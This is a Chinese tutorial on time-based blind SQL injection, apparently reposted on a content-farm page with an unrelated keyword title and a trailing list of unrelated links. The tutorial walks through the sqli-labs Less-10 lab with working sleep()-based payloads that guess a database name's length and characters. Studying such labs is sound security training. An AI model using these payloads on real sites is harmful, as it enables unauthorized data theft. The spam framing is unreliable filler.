当前位置: 首页 > news >正文

设计公司网站建设方案wordpress主题文件结构

设计公司网站建设方案,wordpress主题文件结构,做淘宝客最好的网站是什么网站,网站推广软件哪家好关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客 0x01:时间盲注 —— 理论篇 时间盲注(Time-Based Blind SQL Injection)是一种常见的 SQL 注入技术,适用于那些页面不会返回错误信息,只会回…

关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客

0x01:时间盲注 —— 理论篇

时间盲注(Time-Based Blind SQL Injection)是一种常见的 SQL 注入技术,适用于那些页面不会返回错误信息,只会回显一种界面的情况。

时间盲注的攻击原理:攻击者通过向 SQL 查询中注入特定的延时函数,使数据库的查询时间变长,从而根据页面响应时间的差异来推断攻击的结果是否成功。

0x0101:MySQL 时间盲注 — 相关函数

下面介绍一些对 MySQL 数据库进行时间盲注时的相关函数及其使用示例:

函数名函数解析用法示例
sleep()使当前会话(或连接)暂停指定的秒数select sleep(3);
benchmark()对一个表达式重复执行指定次数的计算select benchmark(10000, Now());
if(条件, 结果1, 结果2)条件正确,返回结果 1;否则,返回结果2select if(1=2, 3, 4);
mid(string,start_pos,count)从 start_pos 开始,截取 string 的 count 位字符。select mid('12',1,1);
substr(string,start_pos,count)从 start_pos 开始,截取 string 的 count 位字符。select substr('12',2,1);
left(string,count)从左侧截取 string 的前 count 位字符。select left('123',2);
length()返回字符串的长度select length('ni');
ord()获取字符对应的 ASCII 码值select ord('A');
ascii()获取字符对应的 ASCII 码值。select ascii('A');

0x02:时间盲注 —— 实战篇

本节重点在于熟悉时间盲注的注入流程,以及注入原理。练习靶场为 Sqli-labs Less-10 GET - Blind - Time based - Double Quotes,靶场的配套资源如下(附安装教程):

实验工具准备

  • PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)

  • SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:SQLI LABS 靶场安装)

0x0201:第一阶段 — 判断注入点

6906f65ad3c641fc9571ed9f8c7c5de3.png

进入靶场,靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询,那我们就按它的意思传入 id 看看网页返回的结果:

7919ea02b21c4b4fb5631f55476b02df.png

如上,靶场返回了一段字符 You are in。似乎它是认可我们的操作了,但我们并没有从中获取什么有用的信息。

接下来,笔者又尝试给它传递了一个异常的值(字符串类型):

db3de93f88174b40a6dfbe13db46d46b.png

如上,靶场依旧返回了 You are in。我们明明传递的是不符合要求的值,结果它还是返回正常的结果,这个本身就有问题。

为了摸清楚靶场的底线,笔者这里又进行了一系列的测试:

 测试 Payload 1: ?id=1        结果: You are in测试 Payload 2: ?id=3-2      结果: You are in测试 Payload 3: ?id=1 a      结果: You are in测试 Payload 4: ?id=1a'      结果: You are in测试 Payload 5: ?id=1a"      结果: You are in测试 Payload 6: ?id=b'")(    结果: You are in

可以看到,这关就像是一个无底洞,你给它啥它都会回应你 You are in,你根本摸不透它。

此时,我们需要转变一下测试思路:You are in 是不是就是它的一个障眼法呢,其实它已经背着我们偷偷执行了 SQL 语句,但是由于一直都返回同样的结果,导致我们无法发现呢。

面对上面这种情况,我们就可以采用时间盲注的手段,来看看它有没有偷偷背着我们干坏事了:

知识拓展:如何查看浏览器响应包加载速度

打开浏览器,鼠标右击页面并选择 ”检查“,打开 ”开发者工具“:
 

cce88c2d0f8244e9a01c0e4534b33b67.jpeg

定位到 “网络(NetWork)” 菜单,并刷新当前页面,即可看到网页响应包的加载速度:
 

44ae7c493ae04026a434c0bf5c7b94fd.jpeg

 测试 Payload 1: ?id=1 and sleep(5) --+    结果: 24 ms 响应,失败测试 Payload 2: ?id=1' and sleep(5) --+   结果: 9 ms 响应,失败测试 Payload 3: ?id=1" and sleep(5) --+   结果: 5.02 s 响应,成功

8e4fccf8995941d2ab2393ead7b305ba.png

从上面的回显可以看出,它果然背着我们偷偷的执行了 SQL 语句,不过小动作还是被聪明的我们发现啦。

通过上面测试的 Payload,我们已经可以确定了,目标的 GET 型请求参数 id 处存在 SQL 注入漏洞,且注入模板如下:

 注入模板: ?id=1" and sleep(if(攻击语句,5,0)) --+"推测目标后端模板: select * from users where id="1" and sleep(if(攻击语句,5,0)) --+""笔者备注: if(攻击语句,5,0) 这么写的原因是,如果攻击成功则页面延时 5 秒返回,否则无延时返回(你失败的推测肯定比你正确的多,这么写可以加快点速度)。

0x0202:第二阶段 — 时间盲注漏洞利用

本节中,我们主要介绍如何通过时间盲注,来获取目标数据库内的真实信息,这里需要用到一些数据库的相关函数,不了解的可以去文章开头的函数表格中查询用法。

1. 猜测数据库名长度

要获取数据库的真实信息,我们就需要摸清当前数据库的结构。比如有哪些数据库,每个数据库下有哪些表,每张表中有哪些字段。

盲注中的服务器当然不会直接回显,所以我们就需要自己构造 SQL 语句去猜啦。首先猜测数据库名称的长度(知道长度后才好猜解每一位的内容):

 -- 猜测数据库名称长度为 1,若返回为 True,则证明猜测正确攻击 Payload 01: ?id=1" and sleep(if(length(database())=1,5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(length(database())=1,5,0)) --+""攻击结果: 9 ms 响应,失败​-- 猜测数据库名称长度为 2,若返回为 True,则证明猜测正确攻击 Payload 02: ?id=1" and sleep(if(length(database())=2,5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(length(database())=2,5,0)) --+""攻击结果: 10 ms 响应,失败​...​-- 猜测数据库名称长度为 8,若返回为 True,则证明猜测正确攻击 Payload 08: ?id=1" and sleep(if(length(database())=8,5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(length(database())=8,5,0)) --+""攻击结果: 5.01 s 响应,成功

158c7a2b66844a4caa254121382a31a0.png

如上,我们成功通过时间盲注(响应包延时)判断出了,目标当前使用的数据库的名称长度为 8。

2. 猜解数据库名称

知道了目标当前使用的数据库的名称的长度后,我们就可以一个字符一个字符的进行猜解了,Payload 如下:

 -- 猜测数据库的第一个字符为 'a',若返回为 True,则证明猜测正确攻击 Payload 01: ?id=1" and sleep(if(mid(database(),1,1)='a',5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(mid(database(),1,1)='a',5,0)) --+""攻击结果: 11 ms 响应,失败​-- 猜测数据库的第一个字符为 'b',若返回为 True,则证明猜测正确攻击 Payload 02: ?id=1" and sleep(if(mid(database(),1,1)='b',5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(mid(database(),1,1)='b',5,0)) --+""攻击结果: 7 ms 响应,失败​...​-- 猜测数据库的第一个字符为 's',若返回为 True,则证明猜测正确攻击 Payload 18: ?id=1" and sleep(if(mid(database(),1,1)='s',5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(mid(database(),1,1)='s',5,0)) --+""攻击结果: 5.02 s 响应,成功​...

aaa3dce5c36143d0a24d07f14e120882.jpeg

由于猜解需要的语句太多了,所以笔者在这里就不一一列举了(从上面的测试 Payload 中其实很好找到规律的)。

3. 时间盲注后续流程

时间盲注的后续流程已经没有啥特别的了,核心思想就在前面介绍的两步中了:

  1. 获取你想要知道的信息的长度。

  2. 通过截取的方式利用延时函数配合布尔表达式获取每一位字符的内容。

  3. 将获取的每一位字符进行拼接,最终得到你想要的内容。

所以笔者在这里就不花时间多讲解了,相信聪明如你,从上面的几个例子中,已经可以领略到时间盲注的核心思想了(时间盲注的利用手段其实跟 布尔盲注 很像,不了解的可以去看一看)。

 

http://www.yayakq.cn/news/276076/

相关文章:

  • 换友网站进口全屋定制十大名牌
  • 郑州市做网站的h5如何做网站
  • 微商城网站建设教程巫溪集团网站建设
  • 做公益网站的目的网站建设调研问卷
  • 给赌场做网站湖北百度关键词排名软件
  • 南宁平台公司广西seo网站
  • 定制网站建设公司电话天津百度首页优化排名
  • 有哪些可以在线做app的网站企业网站怎么自适应
  • 邵阳 做网站公司网站建设一对一培训班
  • 网站开发发展趋势wordpress 目录配置文件
  • 阿里 网站建设方案书 模板番禺建设网站平台
  • 服务器添加网站公司网站做优化少钱
  • 隆基泰和 做网站wordpress国内医疗
  • 网站设计公司 杭州wordpress需要什么安装环境
  • 网站设计和策划的步骤是什么施工企业负责人带班检查计划
  • 住建部工程建设标准网站企业网站建设常见问题
  • 安徽亳州建设厅网站腾度网站建设
  • 长沙正规制作网站公司手机网站建设口碑好
  • 企业网站搭建价格自己做视频网站流量钱
  • 做的网站有营销效果吗最新wordpress主题
  • 设计做笔记的网站世界十大市场调研公司
  • 专业的医疗行业网站模板重庆森林经典台词图片
  • 网站建设外包公司怎么样网站流量少的原因
  • 上海知名网站建WordPress集成插件到主题
  • 美丽乡村网站建设策划书企业vi设计公司价格
  • 自己做网站流程wordpress插件吧
  • 跨站攻击 wordpress东营网站建设东营市南一路东营软件园英
  • 网站ueo广西医科大学网站建设
  • c2c网站代表有哪些网页设计大赛作品欣赏
  • 腾讯云主机能给几个网站备案北京做微信网站